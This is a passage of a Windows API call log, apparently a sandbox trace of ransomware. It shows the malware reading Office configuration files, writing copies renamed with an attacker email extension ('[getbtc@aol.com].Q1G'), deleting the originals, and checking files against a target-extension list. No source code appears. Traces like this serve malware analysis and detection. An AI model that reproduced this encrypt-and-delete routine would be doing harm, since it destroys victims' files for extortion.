nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x29c, lpOverlapped=0x0) returned 1 [0263.727] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0263.728] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.728] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0263.728] SetEndOfFile (hFile=0x3e0) returned 1 [0263.728] CloseHandle (hObject=0x3e0) returned 1 [0263.728] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.728] SetEndOfFile (hFile=0x1bc) returned 1 [0263.730] CloseHandle (hObject=0x1bc) returned 1 [0263.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg")) returned 1 [0263.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.731] lstrlenW (lpString=".doc") returned 4 [0263.731] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.731] lstrlenW (lpString=".docx") returned 5 [0263.731] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0263.731] lstrlenW (lpString=".pdf") returned 4 [0263.732] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".xls") returned 4 [0263.732] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".xlsx") returned 5 [0263.732] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0263.732] lstrlenW (lpString=".ppt") returned 4 [0263.732] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.732] lstrlenW (lpString=".zip") returned 4 [0263.732] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".rar") returned 4 [0263.732] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".bz2") returned 4 [0263.732] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.732] lstrlenW (lpString=".7z") returned 3 [0263.732] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.732] lstrlenW (lpString=".dbf") returned 4 [0263.732] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.732] lstrlenW (lpString=".1cd") returned 4 [0263.732] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.732] lstrlenW (lpString=".jpg") returned 4 [0263.732] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.732] lstrlenW (lpString=".doc") returned 4 [0263.732] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".docx") returned 5 [0263.732] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0263.732] lstrlenW (lpString=".pdf") returned 4 [0263.732] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".xls") returned 4 [0263.732] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0263.732] lstrlenW (lpString=".xlsx") returned 5 [0263.732] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0263.733] lstrlenW (lpString=".ppt") returned 4 [0263.733] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0263.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.733] lstrlenW (lpString=".zip") returned 4 [0263.733] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0263.733] lstrlenW (lpString=".rar") returned 4 [0263.733] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0263.733] lstrlenW (lpString=".bz2") returned 4 [0263.733] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0263.733] lstrlenW (lpString=".7z") returned 3 [0263.733] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0263.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.733] lstrlenW (lpString=".dbf") returned 4 [0263.733] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0263.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.733] lstrlenW (lpString=".1cd") returned 4 [0263.733] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0263.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned 64 [0263.733] lstrlenW (lpString=".jpg") returned 4 [0263.733] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0263.733] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.733] lstrlenW (lpString="SMSL.ICO") returned 8 [0263.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.734] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=10134) returned 1 [0263.734] CloseHandle (hObject=0x1bc) returned 1 [0263.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico")) returned 0x20 [0263.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.734] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.734] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.735] GetLastError () returned 0x0 [0263.735] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x2796, lpOverlapped=0x0) returned 1 [0263.791] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x27a0, lpOverlapped=0x0) returned 1 [0263.792] ReadFile (in: hFile=0x1bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.792] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0263.792] SetEndOfFile (hFile=0x3e0) returned 1 [0263.792] CloseHandle (hObject=0x3e0) returned 1 [0263.792] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.792] SetEndOfFile (hFile=0x1bc) returned 1 [0263.794] CloseHandle (hObject=0x1bc) returned 1 [0263.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico")) returned 1 [0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.795] lstrlenW (lpString=".doc") returned 4 [0263.795] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.795] lstrlenW (lpString=".docx") returned 5 [0263.795] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.795] lstrlenW (lpString=".pdf") returned 4 [0263.795] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.795] lstrlenW (lpString=".xls") returned 4 [0263.795] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.795] lstrlenW (lpString=".xlsx") returned 5 [0263.795] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.795] lstrlenW (lpString=".ppt") returned 4 [0263.795] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.795] lstrlenW (lpString=".zip") returned 4 [0263.795] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.795] lstrlenW (lpString=".rar") returned 4 [0263.795] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.795] lstrlenW (lpString=".bz2") returned 4 [0263.795] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.795] lstrlenW (lpString=".7z") returned 3 [0263.795] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.795] lstrlenW (lpString=".dbf") returned 4 [0263.795] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.795] lstrlenW (lpString=".1cd") returned 4 [0263.796] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString=".jpg") returned 4 [0263.796] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString=".doc") returned 4 [0263.796] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.796] lstrlenW (lpString=".docx") returned 5 [0263.796] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0263.796] lstrlenW (lpString=".pdf") returned 4 [0263.796] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.796] lstrlenW (lpString=".xls") returned 4 [0263.796] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.796] lstrlenW (lpString=".xlsx") returned 5 [0263.796] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0263.796] lstrlenW (lpString=".ppt") returned 4 [0263.796] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString=".zip") returned 4 [0263.796] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.796] lstrlenW (lpString=".rar") returned 4 [0263.796] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.796] lstrlenW (lpString=".bz2") returned 4 [0263.796] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.796] lstrlenW (lpString=".7z") returned 3 [0263.796] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString=".dbf") returned 4 [0263.796] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString=".1cd") returned 4 [0263.796] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO") returned 62 [0263.796] lstrlenW (lpString=".jpg") returned 4 [0263.796] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.797] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0263.797] lstrlenW (lpString="TASKACC.CFG") returned 11 [0263.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.802] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=804) returned 1 [0263.802] CloseHandle (hObject=0x39c) returned 1 [0263.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 0x20 [0263.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.803] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.803] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.806] GetLastError () returned 0x0 [0263.806] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x324, lpOverlapped=0x0) returned 1 [0263.814] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x330, lpOverlapped=0x0) returned 1 [0263.815] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.815] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0263.815] SetEndOfFile (hFile=0x3d8) returned 1 [0264.038] CloseHandle (hObject=0x3d8) returned 1 [0264.038] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.038] SetEndOfFile (hFile=0x39c) returned 1 [0264.044] CloseHandle (hObject=0x39c) returned 1 [0264.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg")) returned 1 [0264.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.066] lstrlenW (lpString=".doc") returned 4 [0264.066] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.066] lstrlenW (lpString=".docx") returned 5 [0264.066] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0264.066] lstrlenW (lpString=".pdf") returned 4 [0264.066] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.066] lstrlenW (lpString=".xls") returned 4 [0264.066] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.066] lstrlenW (lpString=".xlsx") returned 5 [0264.066] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0264.066] lstrlenW (lpString=".ppt") returned 4 [0264.066] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.066] lstrlenW (lpString=".zip") returned 4 [0264.066] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.066] lstrlenW (lpString=".rar") returned 4 [0264.066] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.066] lstrlenW (lpString=".bz2") returned 4 [0264.066] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.066] lstrlenW (lpString=".7z") returned 3 [0264.067] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString=".dbf") returned 4 [0264.067] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString=".1cd") returned 4 [0264.067] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString=".jpg") returned 4 [0264.067] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString=".doc") returned 4 [0264.067] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString=".docx") returned 5 [0264.067] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0264.067] lstrlenW (lpString=".pdf") returned 4 [0264.067] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString=".xls") returned 4 [0264.067] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString=".xlsx") returned 5 [0264.067] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0264.067] lstrlenW (lpString=".ppt") returned 4 [0264.067] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString=".zip") returned 4 [0264.067] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString=".rar") returned 4 [0264.067] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.067] lstrlenW (lpString=".bz2") returned 4 [0264.067] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.067] lstrlenW (lpString=".7z") returned 3 [0264.067] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.067] lstrlenW (lpString=".dbf") returned 4 [0264.067] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.068] lstrlenW (lpString=".1cd") returned 4 [0264.068] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned 65 [0264.068] lstrlenW (lpString=".jpg") returned 4 [0264.068] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.068] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0264.068] lstrlenW (lpString="TASKREQ.CFG") returned 11 [0264.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.084] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=797) returned 1 [0264.084] CloseHandle (hObject=0x388) returned 1 [0264.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg")) returned 0x20 [0264.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.125] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.125] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskreq.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.126] GetLastError () returned 0x0 [0264.126] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x31d, lpOverlapped=0x0) returned 1 [0264.143] WriteFile (in: hFile=0x388, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x320, lpOverlapped=0x0) returned 1 [0264.145] ReadFile (in: hFile=0x360, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.145] WriteFile (in: hFile=0x388, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, 